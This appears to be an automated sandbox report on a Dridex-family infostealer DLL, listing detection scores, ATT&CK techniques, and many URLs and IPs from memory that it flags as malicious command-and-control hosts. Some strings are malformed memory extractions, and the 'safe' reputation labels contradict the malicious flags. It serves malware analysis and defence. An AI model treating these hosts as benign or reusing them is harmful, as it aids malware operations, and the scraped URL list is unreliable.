Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	System Information Discovery23	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Variant.Razy.980776.9478.dll	6%	Virustotal		Browse
SecuriteInfo.com.Variant.Razy.980776.9478.dll	38%	ReversingLabs	Win32.Infostealer.Dridex

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://192.46.210.220/563209-4053062332-1002	0%	Avira URL Cloud	safe
https://192.46.210.220/aenh.dll	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/Rf	0%	Avira URL Cloud	safe
https://192.46.210.220/Certification	0%	URL Reputation	safe
https://45.77.0.96:6891/.0.96:6891/	0%	Avira URL Cloud	safe
https://143.244.140.214:808/W	0%	Avira URL Cloud	safe
https://143.244.140.214:808/lGq	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/q	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/r	0%	Avira URL Cloud	safe
https://143.244.140.214:808/oft	0%	URL Reputation	safe
https://45.77.0.96:6891/ri	0%	Avira URL Cloud	safe
https://143.244.140.214:808/P	0%	Avira URL Cloud	safe
https://192.46.210.220/nQ	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/4H	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/fW	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/14M	0%	Avira URL Cloud	safe
https://143.244.140.214:808/ll	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/ES	0%	Avira URL Cloud	safe
https://192.46.210.220/liuS	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/899f5f57b9a	0%	Avira URL Cloud	safe
https://192.46.210.220/3	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/rY	0%	Avira URL Cloud	safe
https://192.46.210.220/GlobalSign	0%	URL Reputation	safe
https://143.244.140.214:808/la	0%	Avira URL Cloud	safe
https://192.46.210.220/0	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/14	0%	Avira URL Cloud	safe
https://185.56.219.47/-	0%	Avira URL Cloud	safe
https://192.46.210.220/-	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/M	0%	Avira URL Cloud	safe
https://143.244.140.214/	0%	URL Reputation	safe
https://143.244.140.214:808/My	0%	URL Reputation	safe
https://192.46.210.220/rs	0%	Avira URL Cloud	safe
https://185.56.219.47/	0%	URL Reputation	safe
https://192.46.210.220/5	0%	Avira URL Cloud	safe
https://143.244.140.214:808/hybq	0%	Avira URL Cloud	safe
https://192.46.210.220/Im	0%	Avira URL Cloud	safe
https://192.46.210.220/B	0%	Avira URL Cloud	safe
https://192.46.210.220/(r	0%	Avira URL Cloud	safe
https://192.46.210.220/Is	0%	Avira URL Cloud	safe
https://192.46.210.220/K	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/08/	0%	Avira URL Cloud	safe
https://185.56.219.47/T	0%	Avira URL Cloud	safe
https://192.46.210.220/S	0%	Avira URL Cloud	safe
https://45.7-	0%	Avira URL Cloud	safe
https://185.56.219.47/rm	0%	Avira URL Cloud	safe
https://192.46.210.220/T	0%	Avira URL Cloud	safe
https://143.244.140.214:808/hyQq	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/j	0%	Avira URL Cloud	safe
https://143.244.140.214:808/	0%	URL Reputation	safe
https://45.77.0.96:6891/	0%	URL Reputation	safe
https://143.244.140.214:808/.140.214:808/la	0%	Avira URL Cloud	safe
https://192.46.210.220/en-US	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/y$7	0%	Avira URL Cloud	safe
https://192.46.210.220/Aq	0%	Avira URL Cloud	safe
https://192.46.210.220/BQ	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/F	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/D	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/9	0%	Avira URL Cloud	safe
https://143.244.140.214:808/hy	0%	URL Reputation	safe
https://192.46.210.220/y	0%	Avira URL Cloud	safe
https://143.244.140.214:808/Gq	0%	Avira URL Cloud	safe
https://143.244.140.214/Ev	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/Vi	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/llo	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/	0%	URL Reputation	safe
https://192.46.210.220/563209-4053062332-1002y	0%	Avira URL Cloud	safe
https://45.77.0.96/	0%	URL Reputation	safe
https://192.46.210.220/_s	0%	Avira URL Cloud	safe
https://143.244.140.214:808/llbq	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/.0.96:6891/liuS	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/l	0%	Avira URL Cloud	safe
https://192.46.210.220/563209-4053062332-1002L	0%	Avira URL Cloud	safe
https://45.77.0.96/-	0%	Avira URL Cloud	safe
https://192.46.210.220/graphy	0%	Avira URL Cloud	safe
https://192.46.210.220/jQ	0%	Avira URL Cloud	safe
https://192.46.210.220/	0%	URL Reputation	safe
https://182.46.210.220/	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/der	0%	Avira URL Cloud	safe
https://192.46.210.220/zQ	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/ll	0%	Avira URL Cloud	safe
https://143.244.140.214:808/z	0%	Avira URL Cloud	safe
https://183.244.140.214:808/	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/08/l	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/=-	0%	Avira URL Cloud	safe
https://143.244.140.214:808/l	0%	URL Reputation	safe
https://45.77.0.96:6891/graphy	0%	URL Reputation	safe
https://185.56.219.47:8116/4802	0%	Avira URL Cloud	safe
https://452.46.210.220/	0%	Avira URL Cloud	safe
https://192.46.210.220/Vs	0%	Avira URL Cloud	safe
https://185.56.219.47:8116/814	0%	Avira URL Cloud	safe
https://192.46.210.220/6Q	0%	Avira URL Cloud	safe
https://192.46.210.220/P6	0%	Avira URL Cloud	safe
https://192.46.210.220/.Q	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/Q%	0%	Avira URL Cloud	safe
https://192.46.210.220/FQ	0%	Avira URL Cloud	safe
https://192.46.210.220/ography	0%	URL Reputation	safe
https://185.56.219.47:8116/Ps%	0%	Avira URL Cloud	safe
https://45.77.0.96:6891/Microsoft	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://192.46.210.220/	true	URL Reputation: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://192.46.210.220/563209-4053062332-1002	rundll32.exe, 00000007.00000003.487949283.0000000003361000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/aenh.dll	loaddll32.exe, 00000002.00000003.640878974.0000000000F55000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/Rf	rundll32.exe, 00000007.00000002.815937821.0000000005413000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/Certification	loaddll32.exe, 00000002.00000002.814100062.0000000000F98000.00000004.00000001.sdmp, rundll32.exe, 00000007.00000003.487949283.0000000003361000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://45.77.0.96:6891/.0.96:6891/	rundll32.exe, 00000007.00000003.524364338.0000000005416000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/W	loaddll32.exe, 00000002.00000003.457412694.0000000000F57000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/lGq	rundll32.exe, 00000007.00000003.487949283.0000000003361000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/q	loaddll32.exe, 00000002.00000003.649139573.0000000000F55000.00000004.00000001.sdmp, rundll32.exe, 00000007.00000002.815358842.00000000033D1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/r	loaddll32.exe, 00000002.00000003.484765322.0000000000F56000.00000004.00000001.sdmp, loaddll32.exe, 00000002.00000003.715289859.0000000000F54000.00000004.00000001.sdmp, rundll32.exe, 00000007.00000003.433750522.0000000003361000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/oft	loaddll32.exe, 00000002.00000003.590990072.0000000000F5F000.00000004.00000001.sdmp, rundll32.exe, 00000007.00000003.789346545.0000000003361000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://45.77.0.96:6891/ri	rundll32.exe, 00000007.00000003.565824893.0000000005416000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/P	rundll32.exe, 00000007.00000002.815270694.0000000003361000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/nQ	rundll32.exe, 00000007.00000003.487949283.0000000003361000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47:8116/4H	rundll32.exe, 00000007.00000003.693220636.0000000003361000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47:8116/fW	rundll32.exe, 00000007.00000003.590697653.0000000003361000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/14M	rundll32.exe, 00000007.00000003.693220636.0000000003361000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/ll	rundll32.exe, 00000007.00000003.524322961.0000000003361000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47:8116/ES	rundll32.exe, 00000007.00000003.454521385.0000000003361000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/liuS	rundll32.exe, 00000007.00000003.693267353.0000000005416000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/899f5f57b9a	loaddll32.exe, 00000002.00000003.640878974.0000000000F55000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/3	loaddll32.exe, 00000002.00000003.451141108.0000000000F57000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/rY	rundll32.exe, 00000007.00000002.815358842.00000000033D1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/GlobalSign	rundll32.exe, 00000007.00000003.615902947.0000000003361000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://143.244.140.214:808/la	rundll32.exe, 00000007.00000003.624273197.0000000003361000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/0	rundll32.exe, 00000007.00000003.734581021.0000000003361000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/14	loaddll32.exe, 00000002.00000003.434212982.0000000000F5A000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47/-	rundll32.exe, 00000007.00000003.487949283.0000000003361000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/-	rundll32.exe, 00000007.00000003.454521385.0000000003361000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47:8116/M	rundll32.exe, 00000007.00000003.632573369.0000000003361000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214/	loaddll32.exe, 00000002.00000003.457412694.0000000000F57000.00000004.00000001.sdmp, rundll32.exe, 00000007.00000003.487949283.0000000003361000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://143.244.140.214:808/My	loaddll32.exe, 00000002.00000003.474152776.0000000000F57000.00000004.00000001.sdmp, rundll32.exe, 00000007.00000003.524322961.0000000003361000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://192.46.210.220/rs	rundll32.exe, 00000007.00000003.615902947.0000000003361000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47/	rundll32.exe, 00000007.00000003.487949283.0000000003361000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://192.46.210.220/5	loaddll32.exe, 00000002.00000003.457412694.0000000000F57000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/hybq	rundll32.exe, 00000007.00000003.615902947.0000000003361000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/Im	rundll32.exe, 00000007.00000003.487949283.0000000003361000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/B	loaddll32.exe, 00000002.00000003.451141108.0000000000F57000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/(r	rundll32.exe, 00000007.00000003.734581021.0000000003361000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/Is	rundll32.exe, 00000007.00000003.615902947.0000000003361000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/K	loaddll32.exe, 00000002.00000003.507704635.0000000000F59000.00000004.00000001.sdmp, rundll32.exe, 00000007.00000002.815150304.00000000032FA000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/08/	loaddll32.exe, 00000002.00000003.434212982.0000000000F5A000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47/T	loaddll32.exe, 00000002.00000003.438385750.0000000000F5A000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/S	loaddll32.exe, 00000002.00000002.814100062.0000000000F98000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.7-	loaddll32.exe, 00000002.00000003.457412694.0000000000F57000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
https://185.56.219.47/rm	rundll32.exe, 00000007.00000003.487949283.0000000003361000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/T	loaddll32.exe, 00000002.00000003.507704635.0000000000F59000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/hyQq	rundll32.exe, 00000007.00000003.590697653.0000000003361000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47:8116/j	rundll32.exe, 00000007.00000003.693220636.0000000003361000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/	loaddll32.exe, 00000002.00000003.457412694.0000000000F57000.00000004.00000001.sdmp, rundll32.exe, 00000007.00000003.487949283.0000000003361000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://45.77.0.96:6891/	loaddll32.exe, 00000002.00000003.457412694.0000000000F57000.00000004.00000001.sdmp, loaddll32.exe, 00000002.00000003.615853148.0000000000F58000.00000004.00000001.sdmp, loaddll32.exe, 00000002.00000003.451150859.0000000000F60000.00000004.00000001.sdmp, rundll32.exe, 00000007.00000003.746888787.0000000005416000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://143.244.140.214:808/.140.214:808/la	rundll32.exe, 00000007.00000003.685102476.0000000003361000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/en-US	rundll32.exe, 00000007.00000003.734581021.0000000003361000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47:8116/y$7	loaddll32.exe, 00000002.00000003.457412694.0000000000F57000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/Aq	loaddll32.exe, 00000002.00000002.814100062.0000000000F98000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/BQ	rundll32.exe, 00000007.00000003.438132004.0000000003361000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47:8116/F	rundll32.exe, 00000007.00000003.734581021.0000000003361000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47:8116/D	rundll32.exe, 00000007.00000003.487949283.0000000003361000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/9	rundll32.exe, 00000007.00000003.438113449.00000000033D1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/hy	loaddll32.exe, 00000002.00000003.457412694.0000000000F57000.00000004.00000001.sdmp, rundll32.exe, 00000007.00000003.496322195.0000000003361000.00000004.00000001.sdmp, rundll32.exe, 00000007.00000003.421191267.000000000336A000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://192.46.210.220/y	loaddll32.exe, 00000002.00000003.591088945.0000000000F58000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/Gq	rundll32.exe, 00000007.00000002.815270694.0000000003361000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214/Ev	rundll32.exe, 00000007.00000003.421191267.000000000336A000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/Vi	rundll32.exe, 00000007.00000003.524364338.0000000005416000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47:8116/llo	rundll32.exe, 00000007.00000003.746859571.0000000003361000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47:8116/	loaddll32.exe, 00000002.00000003.457412694.0000000000F57000.00000004.00000001.sdmp, rundll32.exe, 00000007.00000003.487949283.0000000003361000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://192.46.210.220/563209-4053062332-1002y	rundll32.exe, 00000007.00000003.615902947.0000000003361000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96/	rundll32.exe, 00000007.00000003.471262416.00000000033A1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://192.46.210.220/_s	rundll32.exe, 00000007.00000003.438132004.0000000003361000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/llbq	rundll32.exe, 00000007.00000003.565788704.0000000003361000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/.0.96:6891/liuS	rundll32.exe, 00000007.00000003.565824893.0000000005416000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47:8116/l	rundll32.exe, 00000007.00000003.487949283.0000000003361000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/563209-4053062332-1002L	rundll32.exe, 00000007.00000003.487949283.0000000003361000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96/-	rundll32.exe, 00000007.00000003.433791949.000000000339E000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/graphy	rundll32.exe, 00000007.00000003.496358216.0000000005416000.00000004.00000001.sdmp, rundll32.exe, 00000007.00000003.565824893.0000000005416000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/jQ	rundll32.exe, 00000007.00000003.565788704.0000000003361000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://182.46.210.220/	loaddll32.exe, 00000002.00000002.813943136.0000000000F4C000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/der	loaddll32.exe, 00000002.00000003.434212982.0000000000F5A000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/zQ	rundll32.exe, 00000007.00000003.487949283.0000000003361000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47:8116/ll	loaddll32.exe, 00000002.00000003.538347137.0000000000F57000.00000004.00000001.sdmp, rundll32.exe, 00000007.00000003.487949283.0000000003361000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/z	loaddll32.exe, 00000002.00000003.507704635.0000000000F59000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://183.244.140.214:808/	rundll32.exe, 00000007.00000002.815270694.0000000003361000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/08/l	loaddll32.exe, 00000002.00000003.451150859.0000000000F60000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47:8116/=-	loaddll32.exe, 00000002.00000003.599359620.0000000000FCA000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/l	loaddll32.exe, 00000002.00000003.789280519.0000000000F57000.00000004.00000001.sdmp, rundll32.exe, 00000007.00000003.487949283.0000000003361000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://45.77.0.96:6891/graphy	rundll32.exe, 00000007.00000003.487977022.0000000005416000.00000004.00000001.sdmp, rundll32.exe, 00000007.00000002.815937821.0000000005413000.00000004.00000001.sdmp, rundll32.exe, 00000007.00000003.516053522.0000000005416000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://185.56.219.47:8116/4802	loaddll32.exe, 00000002.00000003.780894009.0000000000F4C000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://452.46.210.220/	loaddll32.exe, 00000002.00000003.591079359.0000000000F4C000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
https://192.46.210.220/Vs	rundll32.exe, 00000007.00000003.487949283.0000000003361000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47:8116/814	rundll32.exe, 00000007.00000003.565788704.0000000003361000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/6Q	rundll32.exe, 00000007.00000003.479578980.0000000003361000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/P6	loaddll32.exe, 00000002.00000002.814100062.0000000000F98000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/.Q	rundll32.exe, 00000007.00000003.496322195.0000000003361000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/Q%	loaddll32.exe, 00000002.00000003.451150859.0000000000F60000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/FQ	rundll32.exe, 00000007.00000003.624273197.0000000003361000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/ography	rundll32.exe, 00000007.00000003.516053522.0000000005416000.00000004.00000001.sdmp, rundll32.exe, 00000007.00000003.693267353.0000000005416000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://185.56.219.47:8116/Ps%	loaddll32.exe, 00000002.00000002.814006156.0000000000F58000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/Microsoft	rundll32.exe, 00000007.00000002.815937821.0000000005413000.00000004.00000001.sdmp, rundll32.exe, 00000007.00000003.524364338.0000000005416000.00000004.00000001.sdmp, rundll32.exe, 00000007.00000003.734607197.0000000005416000.00000004.00000001.sdmp, rundll32.exe, 00000007.00000003.590739605.0000000005416000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
45.77.0.96	unknown	United States	20473	AS-CHOOPAUS	true
185.56.219.47	unknown	Italy	202675	KELIWEBIT	true
192.46.210.220	unknown	United States	5501	FRAUNHOFER-CLUSTER-BWResearchInstitutesspreadalloverGe	true
143.244.140.214	unknown	United States	174	COGENT-174US	true

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	510687
Start date:	28.10.2021
Start time:	04:51:12
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 10m 28s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	SecuriteInfo.com.Variant.Razy.980776.9478.23455 (renamed file extension from 23455 to dll)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal84.bank.troj.evad.winDLL@11/1@0/4
EGA Information:	Failed
HDC Information:	Successful, ratio: 13.9% (good quality ratio 13.9%) Quality average: 79.1% Quality standard deviation: 16.1%
HCA Information:	Successful, ratio: 64% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Override analysis time to 240s for rundll32
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, SgrmBroker.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe, wuapihost.exe TCP Packets have been reduced to 100 Excluded IPs from analysis (whitelisted): 20.50.102.62, 173.222.108.210, 173.222.108.226, 23.203.67.116, 23.203.78.112, 20.82.209.104, 80.67.82.235, 80.67.82.211, 20.54.110.249, 52.251.79.25, 40.112.88.60 Excluded domains from analysis (whitelisted): consumer-displaycatalogrp-aks2aks-useast.md.mp.microsoft.com.akadns.net, a767.dspw65.akamai.net, e15275.g.akamaiedge.net, a1449.dscg2.akamai.net, arc.msn.com, cdn.onenote.net.edgekey.net, iris-de-ppe-azsc-neu.northeurope.cloudapp.azure.com, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, wildcard.weather.microsoft.com.edgekey.net, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, cdn.onenote.net, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, wu-shim.trafficmanager.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, ris-prod.trafficmanager.net, tile-service.weather.microsoft.com, eus2-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, asf-ris-prod-neu.northeurope.cloudapp.azure.com, ctldl.windowsupdate.com, iris-de-prod-azsc-uks.uksouth.cloudapp.azure.com, download.windowsupdate.com.edgesuite.net, ris.api.iris.microsoft.com, displaycatalog-rp-useast.md.mp.microsoft.com.akadns.net, e1553.dspg.akamaiedge.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information Report size getting too big, too many NtDeviceIoControlFile calls found. Report size getting too big, too many NtEnumerateKey calls found. Report size getting too big, too many NtEnumerateValueKey calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
04:53:09	API Interceptor	178x Sleep call for process: rundll32.exe modified
04:53:12	API Interceptor	179x Sleep call for process: loaddll32.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
45.77.0.96	SecuriteInfo.com.Variant.Razy.980776.28061.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.25006.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.28328.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.4470.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.14159.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.20807.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.27063.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.2260.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.12452.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.6851.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.2379.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.10617.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.24814.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.29553.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.15127.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.28360.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.19796.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.9816.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.17887.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.9354.dll	Get hash	malicious	Browse
185.56.219.47	SecuriteInfo.com.Variant.Razy.980776.28061.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.25006.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.28328.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.4470.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.14159.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.20807.dll	Get hash	malicious	Browse
